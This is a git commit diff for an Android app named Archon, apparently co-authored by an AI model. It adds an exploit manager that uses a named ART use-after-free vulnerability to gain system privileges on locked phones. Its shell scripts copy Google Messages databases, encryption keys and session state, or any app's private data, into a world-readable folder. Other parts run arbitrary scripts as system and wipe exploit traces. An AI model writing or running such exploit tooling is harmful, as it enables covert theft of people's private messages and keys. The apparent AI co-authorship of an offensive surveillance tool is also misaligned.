Archon: add CVE-2025-48543 ExploitManager for locked-bootloader RCS extraction

ExploitManager.kt (new, 430 lines):
- CVE-2025-48543 ART UAF → system UID (1000) exploit orchestration
- checkVulnerability(): SDK + patch level gate (Android 13-16 < Sep 2025)
- extractRcsDatabase(): full pipeline — deploy binary, write extraction
  script, execute exploit, collect bugle_db + WAL + shared_prefs + files
- extractAppData(pkg): extract any app's /data/data/ via system UID
- executeCustomTask(script): run arbitrary script at system privilege
- Tries direct exec first, falls back to PrivilegeManager (Shizuku/shell)
- Exploit binary loaded from assets or /data/local/tmp/ (push via ADB)
- cleanup(): removes all exploit artifacts

MessagingModule: 5 new actions:
- check_vuln, exploit_rcs, exploit_app:<pkg>, exploit_status, exploit_cleanup

No bootloader unlock needed. No root needed. Locked bootloader compatible.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
DigiJ 2026-03-03 14:44:07 -08:00
parent c446b769e7
commit 30551a3c53
2 changed files with 648 additions and 0 deletions

View File

@ -0,0 +1,532 @@
package com.darkhal.archon.messaging
import android.content.Context
import android.os.Build
import android.os.Environment
import android.util.Log
import com.darkhal.archon.util.PrivilegeManager
import java.io.File
import java.io.FileOutputStream
/**
* CVE-2025-48543 exploit manager ART runtime UAF system UID.
*
* Works on Android 13-16 with security patch < 2025-09-05.
* Achieves system_server UID (1000) which can read any app's /data/data/
* directory enough to extract bugle_db + encryption keys from Google Messages.
*
* ARCHITECTURE:
* 1. Check if device is vulnerable (SDK + patch level)
* 2. Extract the native exploit binary from app assets to private dir
* 3. Write a post-exploitation shell script (what to do after getting system UID)
* 4. Execute the exploit binary which:
* a. Triggers ART runtime UAF
* b. Achieves system_server code execution
* c. Runs the post-exploitation script at system privilege
* 5. Collect results and clean up
*
* The native binary must be placed in assets/exploits/cve_2025_48543_arm64
* Built from: https://github.com/gamesarchive/CVE-2025-48543
*
* LOCKED BOOTLOADER COMPATIBLE no root or bootloader unlock needed.
*/
class ExploitManager(private val context: Context) {
companion object {
private const val TAG = "ExploitManager"
private const val EXPLOIT_ASSET = "exploits/cve_2025_48543_arm64"
private const val EXPLOIT_FILENAME = "art_uaf"
private const val GMSG_PKG = "com.google.android.apps.messaging"
private const val GMSG_DATA = "/data/data/$GMSG_PKG"
}
data class VulnCheck(
val vulnerable: Boolean,
val sdk: Int,
val patchLevel: String,
val reason: String
)
data class ExploitResult(
val success: Boolean,
val method: String,
val uidAchieved: String? = null,
val extractedFiles: List<String> = emptyList(),
val outputDir: String? = null,
val error: String? = null,
val details: List<String> = emptyList()
)
private val workDir = File(context.filesDir, "exploit_work")
private val outputDir = File(
Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS),
"autarch_extract"
)
init {
workDir.mkdirs()
outputDir.mkdirs()
}
// ── Vulnerability Check ─────────────────────────────────────────
/**
* Check if device is vulnerable to CVE-2025-48543.
*/
fun checkVulnerability(): VulnCheck {
val sdk = Build.VERSION.SDK_INT
val patch = Build.VERSION.SECURITY_PATCH
if (sdk < Build.VERSION_CODES.TIRAMISU) { // < Android 13
return VulnCheck(false, sdk, patch, "SDK $sdk not affected (need >= 33)")
}
if (patch >= "2025-09-05") {
return VulnCheck(false, sdk, patch, "Patch $patch is not vulnerable (need < 2025-09-05)")
}
return VulnCheck(true, sdk, patch,
"VULNERABLE — Android SDK $sdk, patch $patch (< 2025-09-05)")
}
/**
* Check if the native exploit binary is available.
*/
fun hasExploitBinary(): Boolean {
// Check in app assets first
return try {
context.assets.open(EXPLOIT_ASSET).close()
true
} catch (e: Exception) {
// Check if it was pushed to our files dir
File(workDir, EXPLOIT_FILENAME).exists()
}
}
// ── Exploit Execution ───────────────────────────────────────────
/**
* Extract the RCS database using CVE-2025-48543.
*
* Full pipeline: check vuln deploy exploit write extraction script
* execute exploit collect results cleanup.
*/
fun extractRcsDatabase(): ExploitResult {
val check = checkVulnerability()
if (!check.vulnerable) {
return ExploitResult(false, "CVE-2025-48543", error = check.reason)
}
// Prepare the post-exploitation script
val scriptFile = File(workDir, "post_exploit.sh")
writeExtractionScript(scriptFile)
// Deploy the native exploit binary
val exploitBin = deployExploitBinary()
?: return ExploitResult(false, "CVE-2025-48543",
error = "Exploit binary not found. Push it via ADB:\n" +
" adb push cve_2025_48543_arm64 ${workDir.absolutePath}/$EXPLOIT_FILENAME\n" +
"Or place in app assets at: $EXPLOIT_ASSET",
details = listOf(
"Build from: https://github.com/gamesarchive/CVE-2025-48543",
"Compile for ARM64: ndk-build or cmake with -DANDROID_ABI=arm64-v8a",
"Push binary: adb push exploit ${workDir.absolutePath}/$EXPLOIT_FILENAME"
))
// Execute the exploit
return executeExploit(exploitBin, scriptFile)
}
/**
* Execute the exploit with a custom task script.
*/
fun executeCustomTask(taskScript: String): ExploitResult {
val check = checkVulnerability()
if (!check.vulnerable) {
return ExploitResult(false, "CVE-2025-48543", error = check.reason)
}
val scriptFile = File(workDir, "custom_task.sh")
scriptFile.writeText(taskScript)
scriptFile.setExecutable(true)
val exploitBin = deployExploitBinary()
?: return ExploitResult(false, "CVE-2025-48543", error = "Exploit binary not available")
return executeExploit(exploitBin, scriptFile)
}
/**
* Extract any app's data directory via system UID.
*/
fun extractAppData(packageName: String): ExploitResult {
val targetDir = "/data/data/$packageName"
val outSubDir = File(outputDir, packageName)
outSubDir.mkdirs()
val script = """
#!/system/bin/sh
mkdir -p ${outSubDir.absolutePath}
cp -r $targetDir/* ${outSubDir.absolutePath}/ 2>/dev/null
chmod -R 644 ${outSubDir.absolutePath}/ 2>/dev/null
echo "EXTRACTED $packageName $(date)" > ${outSubDir.absolutePath}/.success
""".trimIndent()
return executeCustomTask(script)
}
// ── Private Implementation ──────────────────────────────────────
/**
* Write the RCS extraction post-exploit script.
* This runs at system UID (1000) after the exploit succeeds.
*/
private fun writeExtractionScript(scriptFile: File) {
val outPath = outputDir.absolutePath
val script = """
#!/system/bin/sh
# Post-exploitation script runs at system UID (1000)
# Extracts Google Messages bugle_db + encryption key material
OUT="$outPath"
GMSG="$GMSG_DATA"
mkdir -p "${'$'}OUT/databases" "${'$'}OUT/shared_prefs" "${'$'}OUT/files"
# Copy encrypted database + WAL (recent messages may be in WAL only)
cp "${'$'}GMSG/databases/bugle_db" "${'$'}OUT/databases/" 2>/dev/null
cp "${'$'}GMSG/databases/bugle_db-wal" "${'$'}OUT/databases/" 2>/dev/null
cp "${'$'}GMSG/databases/bugle_db-shm" "${'$'}OUT/databases/" 2>/dev/null
cp "${'$'}GMSG/databases/bugle_db-journal" "${'$'}OUT/databases/" 2>/dev/null
# Copy ALL shared_prefs (encryption key material, RCS config, etc.)
cp -r "${'$'}GMSG/shared_prefs/"* "${'$'}OUT/shared_prefs/" 2>/dev/null
# Copy files directory (Signal Protocol state, session keys, identity)
cp -r "${'$'}GMSG/files/"* "${'$'}OUT/files/" 2>/dev/null
# Copy any other databases that might exist
for db in "${'$'}GMSG/databases/"*; do
fname=${'$'}(basename "${'$'}db")
cp "${'$'}db" "${'$'}OUT/databases/${'$'}fname" 2>/dev/null
done
# Make everything world-readable for ADB pull
chmod -R 644 "${'$'}OUT/" 2>/dev/null
find "${'$'}OUT" -type d -exec chmod 755 {} \; 2>/dev/null
# Capture device info for context
echo "device=$(getprop ro.product.model)" > "${'$'}OUT/.device_info"
echo "android=$(getprop ro.build.version.release)" >> "${'$'}OUT/.device_info"
echo "sdk=$(getprop ro.build.version.sdk)" >> "${'$'}OUT/.device_info"
echo "patch=$(getprop ro.build.version.security_patch)" >> "${'$'}OUT/.device_info"
echo "extracted=$(date '+%Y-%m-%d %H:%M:%S')" >> "${'$'}OUT/.device_info"
echo "uid=$(id)" >> "${'$'}OUT/.device_info"
# Success marker
echo "EXTRACTED $(date)" > "${'$'}OUT/.success"
""".trimIndent()
scriptFile.writeText(script)
scriptFile.setExecutable(true)
Log.d(TAG, "Extraction script written to ${scriptFile.absolutePath}")
}
/**
* Deploy the native exploit binary from assets or files dir.
*/
private fun deployExploitBinary(): File? {
val targetBin = File(workDir, EXPLOIT_FILENAME)
// If already deployed and executable, use it
if (targetBin.exists() && targetBin.canExecute()) {
Log.d(TAG, "Exploit binary already deployed at ${targetBin.absolutePath}")
return targetBin
}
// Try to extract from assets
try {
context.assets.open(EXPLOIT_ASSET).use { input ->
FileOutputStream(targetBin).use { output ->
input.copyTo(output)
}
}
targetBin.setExecutable(true, false)
Log.i(TAG, "Exploit binary extracted from assets to ${targetBin.absolutePath}")
return targetBin
} catch (e: Exception) {
Log.w(TAG, "Exploit binary not in assets: ${e.message}")
}
// Check if it was pushed via ADB to our files dir
if (targetBin.exists()) {
targetBin.setExecutable(true, false)
return targetBin
}
// Check /data/local/tmp/ (ADB push default)
val adbPushed = File("/data/local/tmp/$EXPLOIT_FILENAME")
if (adbPushed.exists()) {
adbPushed.copyTo(targetBin, overwrite = true)
targetBin.setExecutable(true, false)
Log.i(TAG, "Exploit binary copied from /data/local/tmp/")
return targetBin
}
Log.e(TAG, "No exploit binary found")
return null
}
/**
* Execute the exploit binary with the post-exploitation script.
*
* The exploit binary takes two arguments:
* arg1: path to shell script to execute at system UID
* arg2: path to write status/output
*
* It triggers the ART UAF, gains system_server context, then
* fork+exec's /system/bin/sh with the provided script.
*/
private fun executeExploit(exploitBin: File, scriptFile: File): ExploitResult {
val statusFile = File(workDir, "exploit_status")
statusFile.delete()
val details = mutableListOf<String>()
details.add("Exploit: ${exploitBin.absolutePath}")
details.add("Script: ${scriptFile.absolutePath}")
details.add("Output: ${outputDir.absolutePath}")
try {
// Method 1: Direct execution (works if we have exec permission)
val process = ProcessBuilder(
exploitBin.absolutePath,
scriptFile.absolutePath,
statusFile.absolutePath
)
.directory(workDir)
.redirectErrorStream(true)
.start()
// Read output with timeout
val output = StringBuilder()
val reader = process.inputStream.bufferedReader()
val startTime = System.currentTimeMillis()
val timeoutMs = 30_000L
while (System.currentTimeMillis() - startTime < timeoutMs) {
if (reader.ready()) {
val line = reader.readLine() ?: break
output.appendLine(line)
Log.d(TAG, "Exploit: $line")
} else if (!process.isAlive) {
// Read remaining
output.append(reader.readText())
break
} else {
Thread.sleep(100)
}
}
val exitCode = try {
process.waitFor()
process.exitValue()
} catch (e: Exception) {
process.destroyForcibly()
-1
}
details.add("Exit code: $exitCode")
details.add("Output: ${output.toString().take(500)}")
// Check for success
val successMarker = File(outputDir, ".success")
if (successMarker.exists()) {
val extractedFiles = collectExtractedFiles()
return ExploitResult(
success = true,
method = "CVE-2025-48543",
uidAchieved = "system (1000)",
extractedFiles = extractedFiles,
outputDir = outputDir.absolutePath,
details = details + listOf(
"Success marker: ${successMarker.readText().trim()}",
"Extracted files: ${extractedFiles.size}",
"Pull via ADB: adb pull ${outputDir.absolutePath}/ ./extracted_rcs/"
)
)
}
// If direct exec failed, try via PrivilegeManager (Shizuku/shell)
details.add("Direct exec didn't produce results, trying PrivilegeManager...")
return executeViaShell(exploitBin, scriptFile, details)
} catch (e: Exception) {
Log.e(TAG, "Exploit execution failed", e)
details.add("Exception: ${e.message}")
// Fallback to PrivilegeManager
return executeViaShell(exploitBin, scriptFile, details)
}
}
/**
* Execute the exploit via PrivilegeManager (Shizuku/ADB shell).
* This gives us UID 2000 to launch the exploit, which then escalates to system.
*/
private fun executeViaShell(
exploitBin: File,
scriptFile: File,
details: MutableList<String>
): ExploitResult {
try {
// Copy exploit to a shell-accessible location
val shellBin = "/data/local/tmp/${EXPLOIT_FILENAME}_$$"
val shellScript = "/data/local/tmp/post_exploit_$$.sh"
val cpBin = PrivilegeManager.execute(
"cp ${exploitBin.absolutePath} $shellBin && chmod 755 $shellBin"
)
val cpScript = PrivilegeManager.execute(
"cp ${scriptFile.absolutePath} $shellScript && chmod 755 $shellScript"
)
if (cpBin.exitCode != 0) {
// Try pushing from the app's internal storage directly
PrivilegeManager.execute(
"cat ${exploitBin.absolutePath} > $shellBin && chmod 755 $shellBin"
)
}
if (cpScript.exitCode != 0) {
PrivilegeManager.execute(
"cat ${scriptFile.absolutePath} > $shellScript && chmod 755 $shellScript"
)
}
details.add("Shell binary: $shellBin")
details.add("Shell script: $shellScript")
// Execute the exploit from shell context
val result = PrivilegeManager.execute(
"$shellBin $shellScript /data/local/tmp/exploit_status_$$"
)
details.add("Shell exit: ${result.exitCode}")
details.add("Shell stdout: ${result.stdout.take(300)}")
if (result.stderr.isNotBlank()) {
details.add("Shell stderr: ${result.stderr.take(200)}")
}
// Cleanup shell temps
PrivilegeManager.execute("rm -f $shellBin $shellScript /data/local/tmp/exploit_status_$$")
// Check for success
val successMarker = File(outputDir, ".success")
if (successMarker.exists()) {
val extractedFiles = collectExtractedFiles()
return ExploitResult(
success = true,
method = "CVE-2025-48543 (via shell)",
uidAchieved = "system (1000)",
extractedFiles = extractedFiles,
outputDir = outputDir.absolutePath,
details = details
)
}
return ExploitResult(
success = false,
method = "CVE-2025-48543",
error = "Exploit executed but did not produce success marker. " +
"The binary may need to be rebuilt for this device's kernel/ART version.",
details = details
)
} catch (e: Exception) {
Log.e(TAG, "Shell exploit execution failed", e)
return ExploitResult(
success = false,
method = "CVE-2025-48543",
error = "Shell execution failed: ${e.message}",
details = details
)
}
}
/**
* Collect list of extracted files from output directory.
*/
private fun collectExtractedFiles(): List<String> {
val files = mutableListOf<String>()
outputDir.walkTopDown().forEach { file ->
if (file.isFile && file.name != ".success" && file.name != ".device_info") {
files.add(file.relativeTo(outputDir).path)
}
}
return files
}
/**
* Clean up all exploit artifacts from the device.
*/
fun cleanup(): List<String> {
val cleaned = mutableListOf<String>()
// Remove work directory
if (workDir.exists()) {
workDir.deleteRecursively()
cleaned.add("Removed work dir: ${workDir.absolutePath}")
}
// Remove extracted data
if (outputDir.exists()) {
outputDir.deleteRecursively()
cleaned.add("Removed output dir: ${outputDir.absolutePath}")
}
// Remove anything in /data/local/tmp/
try {
PrivilegeManager.execute("rm -f /data/local/tmp/art_uaf* /data/local/tmp/post_exploit* /data/local/tmp/exploit_status*")
cleaned.add("Cleaned /data/local/tmp/ exploit artifacts")
} catch (e: Exception) {
cleaned.add("Could not clean /data/local/tmp/: ${e.message}")
}
return cleaned
}
/**
* Get a summary of what's been extracted (if anything).
*/
fun getExtractionStatus(): Map<String, Any> {
val status = mutableMapOf<String, Any>()
val successMarker = File(outputDir, ".success")
status["extracted"] = successMarker.exists()
if (successMarker.exists()) {
status["marker"] = successMarker.readText().trim()
val deviceInfo = File(outputDir, ".device_info")
if (deviceInfo.exists()) {
status["device_info"] = deviceInfo.readText().trim()
}
status["files"] = collectExtractedFiles()
status["output_dir"] = outputDir.absolutePath
// Check for bugle_db specifically
val bugleDb = File(outputDir, "databases/bugle_db")
status["has_bugle_db"] = bugleDb.exists()
if (bugleDb.exists()) {
status["bugle_db_size"] = bugleDb.length()
}
val sharedPrefs = File(outputDir, "shared_prefs")
if (sharedPrefs.exists()) {
status["shared_prefs_count"] = sharedPrefs.listFiles()?.size ?: 0
}
}
return status
}
}

View File

@ -130,6 +130,36 @@ class MessagingModule : ArchonModule {
name = "Google Messages Info", name = "Google Messages Info",
description = "Get Google Messages version, UID, and RCS configuration", description = "Get Google Messages version, UID, and RCS configuration",
privilegeRequired = false privilegeRequired = false
),
ModuleAction(
id = "check_vuln",
name = "Check CVE-2025-48543",
description = "Check if device is vulnerable to ART UAF → system UID exploit",
privilegeRequired = false
),
ModuleAction(
id = "exploit_rcs",
name = "Exploit → Extract RCS",
description = "CVE-2025-48543: achieve system UID, extract bugle_db + keys (locked BL ok)",
privilegeRequired = false
),
ModuleAction(
id = "exploit_app",
name = "Exploit → Extract App Data",
description = "CVE-2025-48543: extract any app's data (exploit_app:<package>)",
privilegeRequired = false
),
ModuleAction(
id = "exploit_status",
name = "Extraction Status",
description = "Check what's been extracted so far",
privilegeRequired = false
),
ModuleAction(
id = "exploit_cleanup",
name = "Cleanup Exploit Traces",
description = "Remove all exploit artifacts and extracted data from device",
privilegeRequired = false
) )
) )
@ -174,6 +204,12 @@ class MessagingModule : ArchonModule {
actionId == "dump_decrypted" -> dumpDecrypted(shizuku) actionId == "dump_decrypted" -> dumpDecrypted(shizuku)
actionId == "extract_keys" -> extractKeys(shizuku) actionId == "extract_keys" -> extractKeys(shizuku)
actionId == "gmsg_info" -> gmsgInfo(shizuku) actionId == "gmsg_info" -> gmsgInfo(shizuku)
actionId == "check_vuln" -> checkVuln(context)
actionId == "exploit_rcs" -> exploitRcs(context)
actionId.startsWith("exploit_app:") -> exploitApp(context, actionId.substringAfter(":"))
actionId == "exploit_app" -> ModuleResult(false, "Usage: exploit_app:<package.name>")
actionId == "exploit_status" -> exploitStatus(context)
actionId == "exploit_cleanup" -> exploitCleanup(context)
else -> ModuleResult(false, "Unknown action: $actionId") else -> ModuleResult(false, "Unknown action: $actionId")
} }
} }
@ -519,4 +555,84 @@ class MessagingModule : ArchonModule {
ModuleResult(false, "Failed: ${e.message}") ModuleResult(false, "Failed: ${e.message}")
} }
} }
// ── CVE-2025-48543 Exploit ──────────────────────────────────────
private fun checkVuln(context: Context): ModuleResult {
val exploit = ExploitManager(context)
val check = exploit.checkVulnerability()
val hasBinary = exploit.hasExploitBinary()
val details = listOf(
"SDK: ${check.sdk}",
"Patch: ${check.patchLevel}",
"Vulnerable: ${check.vulnerable}",
"Exploit binary: ${if (hasBinary) "AVAILABLE" else "NOT FOUND"}",
check.reason
)
return ModuleResult(true,
if (check.vulnerable) "VULNERABLE to CVE-2025-48543" else "NOT vulnerable",
details)
}
private fun exploitRcs(context: Context): ModuleResult {
val exploit = ExploitManager(context)
val check = exploit.checkVulnerability()
if (!check.vulnerable) {
return ModuleResult(false, "Device not vulnerable: ${check.reason}")
}
val result = exploit.extractRcsDatabase()
val details = result.details.toMutableList()
if (result.success) {
details.add("")
details.add("Pull extracted data:")
details.add(" adb pull ${result.outputDir}/ ./extracted_rcs/")
if (result.extractedFiles.isNotEmpty()) {
details.add("")
details.add("Files (${result.extractedFiles.size}):")
result.extractedFiles.take(20).forEach { details.add(" $it") }
}
}
return ModuleResult(result.success,
if (result.success) "RCS database extracted via ${result.method}" else "Failed: ${result.error}",
details)
}
private fun exploitApp(context: Context, packageName: String): ModuleResult {
val exploit = ExploitManager(context)
val result = exploit.extractAppData(packageName)
return ModuleResult(result.success,
if (result.success) "App data extracted: $packageName" else "Failed: ${result.error}",
result.details)
}
private fun exploitStatus(context: Context): ModuleResult {
val exploit = ExploitManager(context)
val status = exploit.getExtractionStatus()
val details = mutableListOf<String>()
details.add("Extracted: ${status["extracted"]}")
if (status["extracted"] == true) {
details.add("Output: ${status["output_dir"]}")
details.add("Has bugle_db: ${status["has_bugle_db"]}")
if (status["bugle_db_size"] != null) {
details.add("bugle_db size: ${(status["bugle_db_size"] as Long) / 1024}KB")
}
details.add("shared_prefs: ${status["shared_prefs_count"]} files")
val files = status["files"] as? List<*>
if (files != null) {
details.add("Total files: ${files.size}")
}
if (status["device_info"] != null) {
details.add("")
details.add(status["device_info"].toString())
}
}
return ModuleResult(true, "Extraction status", details)
}
private fun exploitCleanup(context: Context): ModuleResult {
val exploit = ExploitManager(context)
val cleaned = exploit.cleanup()
return ModuleResult(true, "Cleanup complete", cleaned)
}
} }